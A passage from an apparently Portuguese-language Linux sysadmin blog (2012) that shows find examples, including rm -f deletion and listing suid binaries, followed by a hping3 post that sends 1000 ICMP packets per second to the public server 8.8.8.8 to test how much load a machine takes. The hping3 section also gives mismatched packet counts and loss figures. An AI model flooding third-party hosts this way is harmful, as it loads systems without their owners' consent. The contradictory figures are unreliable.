/home/ricardo/.mozilla/firefox/ht1sguqp.default/places.sqlite-journal
/home/ricardo/.mozilla/firefox/ht1sguqp.default/Cache/0FB71300d01
/home/ricardo/.mozilla/firefox/ht1sguqp.default/Cache/AD773ACBd01
/home/ricardo/.mozilla/firefox/ht1sguqp.default/Cache/0F955364d01
/home/ricardo/.mozilla/firefox/ht1sguqp.default/Cache/8F923340d01
/home/ricardo/.purple/certificates/x509/tls_peers/api.twitter.com
/home/ricardo/.purple/blist.xml
/home/ricardo/.gconfd/saved_state
/home/ricardo/.evolution/mail/local/Noticias
/home/ricardo/.evolution/mail/local/folders.db
/home/ricardo/.evolution/mail/config/state

É possível executar um comando para cada objeto encontrado (por exemplo, para compactar arquivos antigos). No exemplo abaixo, executo o comando stat em cada arquivo da pasta /home/ricardo/tmp que tenha sido criado e menos de 1 dia.

$ find /home/ricardo/tmp -ctime -1 -type f -exec stat {} \;
  File: "/home/ricardo/tmp/20120101.txt"
  Size: 104       Blocks: 8          IO Block: 4096   arquivo comum
Device: 801h/2049d Inode: 655384      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/ ricardo)   Gid: ( 1000/ ricardo)
Access: 2012-10-10 14:20:21.877216007 -0300
Modify: 2012-10-10 14:20:21.877216007 -0300
Change: 2012-10-10 14:20:21.877216007 -0300
  File: "/home/ricardo/tmp/20120101.txt~"
  Size: 62         Blocks: 8          IO Block: 4096   arquivo comum
Device: 801h/2049d Inode: 655401      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/ ricardo)   Gid: ( 1000/ ricardo)
Access: 2012-10-10 14:20:21.877216007 -0300
Modify: 2012-10-10 14:20:21.877216007 -0300
Change: 2012-10-10 14:20:21.877216007 -0300

Para mover esses mesmos arquivos para a pasta /tmp, use:

$ find /home/ricardo/tmp -ctime -1 -type f -exec mv {} /tmp \;

O comando mv será executado para cada arquivo encontrado, e o {} será substituído pelo nome do arquivo no comando em questão.

Para apagar os arquivos criado a mais de 1 mes na área pública do servidor, digite:

$ find /home/temporario -ctime +31 -type f -exec rm -f {} \;

ou

$ find /home/temporario -ctime +31 -type f -delete

Também é possível encontrar os arquivos que possuem o atributo suid. No exemplo abaixo, listamos os arquivos da pasta /bin e executamos um ls -l em cada um.

$ find /bin -perm /+s -exec ls -l {} \;
-rwsr-xr-x 1 root root 31360 Out 14  2010 /bin/ping
-rwsr-xr-x 1 root root 47304 Jan 25  2011 /bin/umount
-rwsr-xr-x 1 root root 35252 Out 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 29152 Fev 15  2011 /bin/su
-rwsr-xr-x 1 root root 68316 Jan 25  2011 /bin/mount

Para mais detalhes sobre o find, use o man.

$ man find

É bem provável que o comando find já faça parte de todas as distribuições Linux.

quarta-feira, 29 de agosto de 2012

HOWTOs e FAQs Linux no formato ASCII


"O pacote doc-linux-text fornece os atuais HOWTOs e FAQs Linux no formato ASCII. O pacote doc-linux-html fornece os mesmos documentos no formato HTML.

O número da versão reflete o mês no qual o doc-linux-text foi criado.

Todos os arquivos estão disponíveis no endereço http://www.tldp.org/ (com versões em ASCII, DVI, HTML, postscript e SGML)."

Essa é a descrição do pacote doc-linux-text. Uma ótima ajuda para quem administra sistemas Linux. Pode ser instalado vi aapt-get.

sexta-feira, 24 de agosto de 2012

Entendendo TCP/IP Parte 3 - Resolução de nomes

Vejo muitos técnicos em informática com dificuldades para entender o conceito de resolução de nomes DNS, endereços NetBIOS, e as ferramentas usadas para administração e manutenção nessa área. Por isso resolvi divulgar novamente um artigo que escrevi sobre esse assunto há pouco mais de um ano.



quarta-feira, 22 de agosto de 2012

Hping3, mais do que somente ping

Se você costuma testar a estabilidade da rede usando o ping, experimente o hping3.

Com o hping3 você pode controlar melhor o uso do ping. Uma opção que costumo usar faz com que centemas de pacotes icmp sejam enviados para o alvo em um segundo. Muito bom para testar a estabilidade da rede, ou para testar o quanto uma máquina aguenta de requisições.

Por exemplo, o comando:

# hping3 -i u1000 8.8.8.8 -c 100 -1

envia 1000 pacotes (-c 1000) icmp (-1) para o alvo (8.8.8.8), cada pacote com um intervalo de 1000 microsegundos (-i u1000). Em outras palavras, 1000 "pings" a cada segundo. O resultado do comando está resumido abaixo.


# hping3 -i u1000 8.8.8.8 -c 1000 -1
HPING 8.8.8.8 (eth0 8.8.8.8): icmp mode set, 28 headers + 0 data bytes
len=46 ip=8.8.8.8 ttl=57 id=36829 icmp_seq=0 rtt=7.3 ms
len=46 ip=8.8.8.8 ttl=57 id=36830 icmp_seq=1 rtt=6.3 ms
len=46 ip=8.8.8.8 ttl=57 id=36832 icmp_seq=3 rtt=4.9 ms
len=46 ip=8.8.8.8 ttl=57 id=36831 icmp_seq=2 rtt=5.9 ms
len=46 ip=8.8.8.8 ttl=57 id=36834 icmp_seq=4 rtt=6.0 ms
len=46 ip=8.8.8.8 ttl=57 id=36833 icmp_seq=5 rtt=5.5 ms
len=46 ip=8.8.8.8 ttl=57 id=36835 icmp_seq=6 rtt=4.5 ms
len=46 ip=8.8.8.8 ttl=57 id=36836 icmp_seq=7 rtt=4.1 ms
(...)
len=46 ip=8.8.8.8 ttl=57 id=37804 icmp_seq=994 rtt=5.4 ms
len=46 ip=8.8.8.8 ttl=57 id=37805 icmp_seq=995 rtt=4.7 ms
len=46 ip=8.8.8.8 ttl=57 id=37806 icmp_seq=996 rtt=4.8 ms
len=46 ip=8.8.8.8 ttl=57 id=37807 icmp_seq=997 rtt=4.1 ms
len=46 ip=8.8.8.8 ttl=57 id=37808 icmp_seq=998 rtt=6.7 ms
len=46 ip=8.8.8.8 ttl=57 id=37809 icmp_seq=999 rtt=6.3 ms

--- 8.8.8.8 hping statistic ---
1000 packets transmitted, 978 packets received, 3% packet loss
round-trip min/avg/max = 1.9/5.8/1002.6 ms

#

Na minha máquina esse comando demorou 2 segundos, com 0,3% de perda. Uma ótima marca.

O hping3 pode ser instalado via apt-get.